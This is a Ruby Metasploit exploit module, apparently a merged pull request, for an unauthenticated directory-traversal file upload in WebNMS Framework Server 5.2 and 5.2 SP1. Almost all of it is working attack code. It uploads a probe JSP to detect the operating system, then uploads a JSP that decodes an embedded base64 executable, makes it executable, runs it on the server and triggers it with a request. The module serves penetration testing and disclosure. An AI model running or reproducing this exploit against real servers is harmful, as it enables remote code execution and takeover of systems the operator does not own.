Land #7062, Create exploit for WebNMS 5.2 RCE
Brendan
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##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::FileDropper
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include Msf::Exploit::EXE
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'WebNMS Framework Server Arbitrary File Upload',
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'Description' => %q(
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This module abuses a vulnerability in WebNMS Framework Server 5.2 that allows an
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unauthenticated user to upload text files by using a directory traversal attack
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on the FileUploadServlet servlet. A JSP file can be uploaded that then drops and
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executes a malicious payload, achieving code execution under the user which the
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WebNMS server is running.
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This module has been tested with WebNMS Framework Server 5.2 and 5.2 SP1 on
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Windows and Linux.
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),
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'Author' =>
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[
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'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'URL', 'https://blogs.securiteam.com/index.php/archives/2712' ]
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],
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'DefaultOptions' => { 'WfsDelay' => 15 },
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'Privileged' => false,
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'Platform' => %w(linux win),
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'Targets' =>
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[
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[ 'Automatic', {} ],
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[
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'WebNMS Framework Server 5.2 / 5.2 SP1 - Linux',
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{
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'Platform' => 'linux',
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'Arch' => ARCH_X86
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}
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],
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[
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'WebNMS Framework Server 5.2 / 5.2 SP1 - Windows',
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{
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'Platform' => 'win',
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'Arch' => ARCH_X86
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}
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]
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Jul 4 2016'
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)
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)
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register_options(
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[
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Opt::RPORT(9090),
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OptString.new('TARGETURI', [ true, "WebNMS path", '/'])
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],
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self.class
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)
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end
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def check
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res = send_request_cgi(
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'uri' => normalize_uri(target_uri.path, 'servlets', 'FileUploadServlet'),
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'method' => 'GET'
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)
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if res && res.code == 405
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return Exploit::CheckCode::Detected
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else
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return Exploit::CheckCode::Unknown
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end
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end
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def upload_payload(payload, is_exploit)
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jsp_name = 'WebStart-' + rand_text_alpha(rand(8) + 3) + '.jsp'
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if is_exploit
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print_status("#{peer} - Uploading payload...")
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end
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res = send_request_cgi(
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'uri' => normalize_uri(target_uri.path, 'servlets', 'FileUploadServlet'),
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'method' => 'POST',
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'data' => payload.to_s,
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'ctype' => 'text/html',
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'vars_get' => { 'fileName' => '../jsp/' + jsp_name }
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)
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if res && res.code == 200 && res.body.to_s =~ /Successfully written polleddata file/
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if is_exploit
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print_status("#{peer} - Payload uploaded successfully")
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end
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return jsp_name
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else
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return nil
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end
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end
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def pick_target
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return target if target.name != 'Automatic'
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print_status("#{peer} - Determining target")
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os_finder_payload = %{<html><body><%out.println(System.getProperty("os.name"));%></body><html>}
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jsp_name = upload_payload(os_finder_payload, false)
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res = send_request_cgi(
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'uri' => normalize_uri(target_uri.path, 'jsp', jsp_name),
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'method' => 'GET'
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)
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if res && res.code == 200
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register_files_for_cleanup('jsp/' + jsp_name)
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if res.body.include? "Linux"
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return targets[1]
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elsif res.body.include? "Windows"
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return targets[2]
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end
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end
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return nil
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end
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def generate_jsp_payload
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opts = { arch: @my_target.arch, platform: @my_target.platform }
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payload = exploit_regenerate_payload(@my_target.platform, @my_target.arch)
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exe = generate_payload_exe(opts)
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base64_exe = Rex::Text.encode_base64(exe)
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native_payload_name = rand_text_alpha(rand(6) + 3)
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ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin'
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var_raw = rand_text_alpha(rand(8) + 3)
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var_ostream = rand_text_alpha(rand(8) + 3)
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var_buf = rand_text_alpha(rand(8) + 3)
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var_decoder = rand_text_alpha(rand(8) + 3)
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var_tmp = rand_text_alpha(rand(8) + 3)
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var_path = rand_text_alpha(rand(8) + 3)
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var_proc2 = rand_text_alpha(rand(8) + 3)
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if @my_target['Platform'] == 'linux'
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var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3)
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chmod = %|
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Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path});
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Thread.sleep(200);
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var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3)
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cleanup = %|
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Thread.sleep(200);
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Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path});
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else
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chmod = ''
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cleanup = ''
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end
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jsp = %|
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<%@page import="java.io.*"%>
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<%@page import="sun.misc.BASE64Decoder"%>
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<%
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try {
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String #{var_buf} = "#{base64_exe}";
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BASE64Decoder #{var_decoder} = new BASE64Decoder();
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byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString());
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File #{var_tmp} = File.createTempFile("#{native_payload_name}", "#{ext}");
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String #{var_path} = #{var_tmp}.getAbsolutePath();
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BufferedOutputStream #{var_ostream} =
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new BufferedOutputStream(new FileOutputStream(#{var_path}));
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#{var_ostream}.write(#{var_raw});
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#{var_ostream}.close();
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#{chmod}
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Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path});
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#{cleanup}
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} catch (Exception e) {
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}
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%>
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jsp.delete!("\n\r\t")
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return jsp
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end
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def exploit
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@my_target = pick_target
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if @my_target.nil?
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print_error("#{peer} - Unable to select a target, we must bail.")
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return
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else
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print_status("#{peer} - Selected target #{@my_target.name}")
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end
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# When using auto targeting, MSF selects the Windows meterpreter as the default payload.
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# Fail if this is the case and ask the user to select an appropriate payload.
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if @my_target['Platform'] == 'linux' && payload_instance.name =~ /Windows/
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fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.")
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end
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jsp_payload = generate_jsp_payload
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jsp_name = upload_payload(jsp_payload, true)
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if jsp_name.nil?
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fail_with(Failure::Unknown, "#{peer} - Payload upload failed")
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else
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register_files_for_cleanup('jsp/' + jsp_name)
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end
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print_status("#{peer} - Executing payload...")
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send_request_cgi(
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'uri' => normalize_uri(target_uri.path, 'jsp', jsp_name),
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'method' => 'GET'
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)
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end
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end
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